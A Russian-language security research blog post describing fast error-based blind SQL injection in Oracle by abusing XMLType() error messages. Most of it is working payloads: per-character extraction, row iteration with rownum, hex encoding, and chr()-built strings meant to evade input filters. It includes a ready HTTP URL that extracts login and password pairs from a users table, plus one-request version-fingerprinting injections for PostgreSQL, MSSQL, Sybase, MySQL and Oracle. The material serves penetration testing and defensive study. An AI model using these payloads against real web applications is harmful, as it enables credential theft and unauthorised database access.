Быстрые техники эксплуатации blind SQL Injection в Oracle

Быстрые техники эксплуатации blind SQL Injection в Oracle
Обладая интересной подборкой быстрых способов эксплуатации слепых SQL-инъекций, мне недоставало аналогичных техник под не менее распространенную СУБД Oracle . Это побудило меня провести небольшой ресерч, направленный на поиск подобных техник в указанной базе данных. Убедившись в том, что все известные способы эксплуатации error-based blind SQL Injection не работают в среде оракла, мое внимание привлекли функции взаимодействия с форматом XML. Немного поковырявшись в них, была обнаружена функция XMLType(), которая возвращает в сообщении об ошибке первый символ из запрашиваемых данных (LPX-00XXX): SQL> select XMLType((select 'abcdef' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00210: expected '<' instead of 'a' Error at line 1 ORA-06512: at "SYS.XMLTYPE", line 301 ORA-06512: at line 1 no rows selected SQL> name='more'> Уже хлеб. Используя функцию substr() становиться возможным посимвольное чтение требуемой информации. Например, можно достаточно быстро определить версию установленной базы данных: select XMLType((select substr(version,1,1) from v$instance)) from users; select XMLType((select substr(version,2,1) from v$instance)) from users; select XMLType((select substr(version,3,1) from v$instance)) from users; ...и т.п. Считывание одного символа в один запрос при эксплуатации слепых SQL-инъекций это здорово, но было бы глупо останавливаться на достигнутом. Продолжая копать функцию XMLType() мне удалось найти аналогичный способ проброса данных в сообщении об ошибке, который существует и в других базах данных: SQL> select XMLType((select '<abcdef:root>' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00234: namespace prefix "abcdef" is not declared ... SQL> select XMLType((select '<:abcdef>' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00110: Warning: invalid QName ":abcdef" (not a Name) ... SQL> Вроде бы все замечательно, но есть несколько подводных камней. Первая загвоздка заключается в том, что в оракле не происходит автоматическое приведение типов. Поэтому такой запрос выдаст ошибку: SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual); select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual) ERROR at line 1: ORA-00932: inconsistent datatypes: expected NUMBER got - Второй нюанс заключается в том, что у ораклятины отсутствует limit и offset, что не позволяет простым путем осуществлять построчное чтение данных. И третья проблема связана с тем, что функция XMLType() при обработке ошибки обрезает возвращаемые данные после некоторых символов. Например, когда в строке встречается пробел или символ at ("@") и др.. Но все можно разрулить;) Для решения проблемы с приведением типов может использоваться функция upper(). Организовать построчное чтение данных, можно с использованием следующей нехитрой конструкции: select id from(select id,rownum rnum from users a)where rnum=1; select id from(select id,rownum rnum from users a)where rnum=2; ... Ну, а для того, чтобы избежать потерю возвращаемых данных, может использоваться hex-кодирование. Опционально, можно также избавиться от кавычек в отправляемом запросе используя числовое представление символов (ascii), что в перспективе позволит обходить фильтрацию при обработке поступающих данных в приложение. Таким образом, конечный запрос примет следующий вид: select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=1)||chr(62)))from dual); select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=2)||chr(62)))from dual); ... Используя данную технику за один http-запрос можно считывать до 214 байт в приложении (107 символов при использовании hex-кодирования), которое функционирует под управлением СУБД Oracle >=9.0 и возвращает сообщение об ошибке: http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)-- Для декодирования получаемых данных из приложения при эксплуатации SQL-инъекции описанным способом, в том числе, может использоваться стандартная функция оракла utl_raw.cast_to_varchar2(): Таким образом, учитывая предыдущую публикацию на эту тему , доступны универсальные и быстрые техники эксплуатации error-based blind SQL Injection для следующих СУБД: PostgreSQL, MSSQL, Sybase, а также для MySQL версии >=4.1 и Oracle версии >=9.0. Для идентификации используемой версии базы данных в один http-запрос, могут применяться следующие конструкции: PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- MSSQL: /?param=1 and(1)=convert(int,@@version)-- Sybase: /?param=1 and(1)=convert(int,@@version)-- MySQL>=4.1<5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)a)-- ИЛИ /?param=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)-- MySQL>=5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--
research публикации SQL-Injection уязвимости web
Alt text

Тени в интернете всегда следят за вами

Станьте невидимкой – подключайтесь к нашему каналу.